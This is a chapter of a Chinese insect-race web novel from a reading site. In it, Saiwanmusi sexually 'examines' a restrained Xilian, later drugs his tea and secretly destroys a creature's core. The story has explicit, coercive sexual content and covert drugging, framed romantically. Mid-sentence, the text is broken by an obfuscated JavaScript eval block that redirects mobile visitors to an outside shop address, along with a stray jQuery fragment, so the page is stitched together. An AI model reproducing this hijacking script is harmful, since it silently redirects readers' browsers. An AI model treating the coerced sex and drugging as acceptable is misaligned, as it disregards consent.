文趣网 > 都市小说 > 继承来的雌君 > 8. 第 8 章
    希利安两只手腕被牢牢圈住控制头顶,嘴里还咬着对方另一只手臂。

    但腰腹还缠着两只手。

    一手环抱在胸前,额头抵在他发顶,呼吸沉沉地落下来似安抚一样,而另一只在他衣摆下的手,就没那么善良了。

    希利安不想知道塞万穆斯从哪多出来的两只手。

    虽同为虫族,不至于对雌虫出乎意外露出的原型恐吓到。甚至绝大部分雄虫迷恋雌虫展示出原型那种震撼,更容易激发原始的繁殖欲望。

    但希利安还是对这种突如其来的失控感慌乱起来,他不知道雌虫现在忽然的动作是为什么?

    他年纪太轻,关于雌虫的了解又太少。

    要不怎么说遇到危险时躺平更好呢。

    希利安下意识弓起腰挣扎,这一下就给了对方更多的活动空间。

    很糟糕的姿势。

    但很快希利安声音软了下来,带着一点点颤抖,眼尾漫上潮红。

    “别怕,很快。很快。”因为他的挣扎,对方不得不分出大量心神,控制力道的同时做完检查。

    塞万穆斯声音居然颤抖起来。汗液掉落在他后脖滑洛下来,湿湿的热气呼在他耳侧,恍惚间居然有种他们是耳语缠绵的爱侣一般。

    ……

    塞万穆斯这是第二次看到希利安哭。

    第一次是希利安五岁那年,从公爵府回来后,他在湖边抱着膝盖发抖,眼泪止不住掉。

    塞万穆斯却不觉得他脆弱可怜,只是抱住他,他眼泪全蹭到了他身上,塞万穆斯便一点点舔上那泪珠。

    “我没有哭。”

    “这是生理反应,很正常。”塞万穆斯这样回他。

    希利安哽咽停了,微红的眼眸看着他,认真地点了点头。

    再抬起已经将泪咽了下去:“是生理反应。不是软弱。”小虫崽脆生生地重复强调。

    之后便不再说话站起身,塞万穆斯依旧温柔殷切,细心包容清了清他身上的灰。

    随着还不及腰的小雄子朝外走去。

    脆弱只是生理反应,塞万穆斯觉得,他的希利安确实比所有虫都强。

    那时骄矜的小雄子红着眼,伸出手倔倔地牵住了他。

    而这一次希利安依旧是生理性的泪水,不受控制地从漂亮的眼眸溢出。或许他想发出声音,可惜他的嘴被他手臂死死捂着发不出拒绝的话。

    汗珠从白皙的脖颈弄脏雪发滴落他手臂,被情/欲覆盖的紫眸蛊惑又朦胧。

    可怜极了。

    也让他兴奋极了。

    ……

    塞万穆斯是个极为优秀的雌虫,一切都很让人满意。

    结束后,希利安大口喘息着,微微有些失焦,这一切对他现在的身体来说还是太刺激了。

    好半天心跳才恢复正常,他转过身。

    第一件事就是把用完的塞万穆斯一脚踢到床下。

    站起身,意识到凉飕飕的,立刻抓起衣服把自己包得严严实实。眼尾还有些生理性的眼泪,脸颊却红了几分多了些惬意。

    他立刻向展开的孔雀一样雄赳赳抖了抖漂亮的尾羽,居高临下看着塞万穆斯。

    希利安半眯着莲紫眼眸,声音压了下来,语气骄纵,试图找回刚才失控的掌握力:“你可知罪?

    未经雄主允许,擅自……以下犯上,这是谁给你的胆子?”

    塞万穆斯嘴唇微动,似要开口。

    “我们成婚了?”希利安先发制人。

    ……不对,他们确实成婚了。希利安一顿但面色不变,继续发难,“啊是,成婚了,但这是你能对我这样的理由吗?”

    好像还真可以,虫族鼓励繁殖,根本没有强迫这么一说,于是希利安话题一转,开始骂态度:“……啊对可以,但你这样不是以上犯下吗?”

    “而且,你……你…”希忽然发现自己有些无理取闹,凶狠地喊了句:“闭嘴!”

    塞万穆斯从始至终都没有开口,只是保持着刚刚倒地的姿势,乖顺地听他宣泄。

    ……

    见希利安沉默时间有点长,塞万穆斯眨了眨眼意会,“是……雄主。”

    希利安松了口气:“以后不许这样。”

    他转身要走,忽然不知为何又回头。

    看到塞万穆斯正伸出舌尖,像蛇类一般细长,末端微微分叉。方才希利安已经领教过它的灵巧,确实……很优秀。

    而此刻塞万穆斯正专注地、一点一点舔舐着手心里残留的配子,动作慢得近乎虔诚,像在品尝值得铭记的滋味。

    那双白雾茫茫的眼睛半阖着,看不出情绪,又莫名让人觉得他在回味。

    察觉到希利安的目光,塞万穆斯抬起眼:“配子活力正常阈值内。雄主可以放心,您拥有一具非常健康的雄虫躯体,依据结果分析推算,与我首次□□即成功孕育S级雄虫幼崽的概率为百分之九十七点三。”

    “您要继续享用吗?”

    希利安的脸一瞬间烧了起来。他看着那只虫一脸认真模样,不知怎的,胸腔里那颗不争气的心跳快了两拍。

    也许刚亲密过后总是会多一些可笑的悸动和妄想。

    他听见自己问出口:

    “要是你当年和我雄父成婚,你也会这样……跪着请求艹/你?是吗?”

    一瞬沉默,希利安却宁愿塞万穆斯一直沉默。

    塞万穆斯开口:“我是为了服侍雄虫而诞生的。”

    ……

    呵。

    像一盆冷水瞬间洒下来,少年那点刚刚萌芽的呢喃心动,瞬间被浇得荡然无存,取而代之的是空荡荡刺骨的寒冷。

    希利安忽然觉得自己有些好笑,不过是被一个机器做了检查,不过是再正常不过的是,不过是被迫使用了一次斐济杯,不过是…

    “我可不是为了被你服侍而诞生的。”

    “我真蠢,不该和你说话的。会长说得对,你这种东西,只是使用就好。”

    塞万穆斯脸上甚至没有出现一丝被羞辱的痕迹,那双茫茫的白瞳只是望着希利安,“是的,请使用我,雄主。”

    仿佛之前所有的暧昧、纠缠、体温交缠,都只是一场例行公事。只是检查,只是在使用塞万穆斯的价值。

    希利安忽然有些疲惫,他还是开口:“我警告你不可以恃宠而骄,没有我的允许,不准碰我。我们…我家是得有规矩的。”

    这一瞬间的冷意,好似又让他回到了五岁那年,第一次见祖父的时候。

    那年侍虫领着他穿过长长的回廊,穹顶高得望不见顶,两侧悬挂的历代家主画像垂着眼睛俯视他,像在审视一只不知天高地厚爬进神殿的虫蚁。

    他的祖父维斯特冕公爵身坐在椅子上,根本不屑分他一个眼神。

    侍虫跪了一地。

    小小年纪的希利安学着那些侍虫的样子,膝盖落在大理石地面上,磕出一声闷响。

    ——维斯特冕家开族至今三万四千年,谱系上每一个名字都是S级以上。你是第一个A级,你知道这意味着什么吗?

    “我们……我们家不允许你这样,你是第一个这样对我的,你知道这意味着什么吗?”

    希利安学着记忆中模糊的那个人开口,看着塞万穆斯,又好似看到幼年孤立无援颤抖的自己。

    ——意味着你的血不干净。你雄父鬼迷心窍,放着好好的雌君不要……你雌父……呵,更没用。

    “意味着你……是个坏蛋。我…不允许你对我做这种不知廉耻的事…”

    ——你什么都没有。没有S级的基因,没有能护住你的双亲,没有一只虫愿意为你站出来,维斯特冕家也不会认你。别到处嚷嚷自己是维斯特冕家的人,不然被打了杀了,我是不会管的。带了星币就走。别再来了。

    “你要是下次再这样,在外面就不许说是我雌君。”

    希利安从回忆中抽出身,看着塞万穆斯乖顺任由他宣泄的模样。

    却并不觉得开心。

    窗外天更沉了些,风很大,压得希利安有些喘不过来。

    “是。”塞万穆斯很快便回答。

    那些喘不上来的东西又很快化成烈火,一点点在希利安心里烧

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750923|209419||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着,找不到出口,便蓄着压着。

    希利安烦躁不已,又好似有了用不完的力气。

    他一定,一定要告诉他们所有人,他比所有虫都强。

    “塞万穆斯,我会很强的,再给我一些时间我会比所有……所有的虫都强,所以你要听我的话,我不管你听不听得懂,有没有自己的想法,你能选的、能做的,都只有听我的话这一条路。

    我会给你所有所有,你所有想要的一切。不要再自作主张的事,不然我——”希利安没说完,小小年纪威压却锋芒不减。

    塞万穆斯缓缓抬头,勾起一抹笑,专注地看着希利安,似要将他整个人装进身体里。

    “知道。”

    希利安松了口气,走向书桌坐下,准备进行着未完成的工作。

    没什么好处理情绪的时间,他有更重要的事。

    希利安也不是喜欢困在情绪中浪费时间的虫,他的时间很珍贵,每一份都不能被浪费。

    希利安却没有发现,身后的塞万穆斯在起身时,眼眸露出的……烦躁?

    不该出现在一只‘物品’身上的情绪,或是因为雄虫刚刚的眼神……那种感觉充斥着空茫茫的心脏。

    他找不到原因。

    像一片无边的白雾里,忽然飘落了一朵紫色小花,以为它只是浮在表面,风一吹就会散。

    却不知那片虚无之下,早已无声无息地伸出藤蔓,强横地刺入,硬生生扎下了根。

    “雄主。”

    好不容易想到些线索,已经密密麻麻写了十几页纸的希利安不耐烦地刚想斥责,便看到面前出现一杯清甜的茶水,茶汤澄澈,水汽氤氲。

    两朵雪白的花漂浮其上,花心中央透出妖异的紫红,闻起来异常诱人,香味像是一下浸入鼻腔勾住胃部,饥饿感后知后觉地翻涌上来。

    “这是什么?”希利安嘴边的斥责咽了回去。

    拿起抿了一口,比预想的香甜,像是蜂蜜水中多了一些说不清道不明的东西。

    温度适宜的茶水进入胃部化作一股暖意四肢仿佛松懈了下来,轻松温暖。

    “茶汤,镇静安神,能帮助雄主快速恢复体力。”塞万穆斯贴心的解释。

    “嗯。还要。”一边咽下,另一只手依旧不耽误一点点将线索串联起来。

    ……

    茶杯从手中滑落,跌在桌面上洒出一圈浅色的水渍,一同倒下的是迷糊困倦的雄虫。

    不同的是,温柔的手稳稳接住了他的脑袋,“雄主?”

    任性的雄主终于电量耗尽,睫毛安静地覆在眼下乖顺不已,呼吸绵长。

    塞万穆斯长臂一揽将希利安搂入怀中,心中那片空茫茫的虚无一下子就被填满,嘴角不自觉勾起,脚步愉快地朝卧室前行。

    放在床上温柔的拉上被子,塞万穆斯伸手轻轻触碰着自家雄主。

    长大了不少,毫无防备的时候却还是露出藏不住的稚气,嘴角总是天生带着幅度。

    还未二次进化还带着些稚气,甚至虫崽特有细密的绒毛都没有完全换掉,脸颊摸起来细嫩光滑无比纯洁。

    塞万穆斯不知道自己现在的模样有多么痴迷。不自觉像希利安小时候睡着那样,轻轻唱着哄虫崽的歌谣,眼眸止不住地溢出爱怜。

    良久,塞万穆斯再次走入浴室。

    这次走到那一堆还未被清理沾满血的衣服堆上,伸手从杂乱握住被淹没在血腥中的一物。

    嘴角还是带着标准到似乎毫无情绪的笑。清洗,轻快的步伐走到窗边栽种的绿植前,上面几朵紫色小花随着风轻轻摇曳。

    显然是刚刚他放入雄虫茶水中的异花。

    温柔地抚了抚花,花懂事的伸出长满棘刺的藤蔓的根部。

    塞万穆斯这才张开手露出手中的东西——一个不属于他S级的虫核。

    藤蔓缠绕住虫核,很快便将这种虫核吞食殆尽,抖了抖,一切像是什么都没有发生。

    塞万穆斯回头,雄主躺在床上沉沉睡着,似乎很安心。眼眸弯起。

    关上窗,将一切寒风阻拦在外。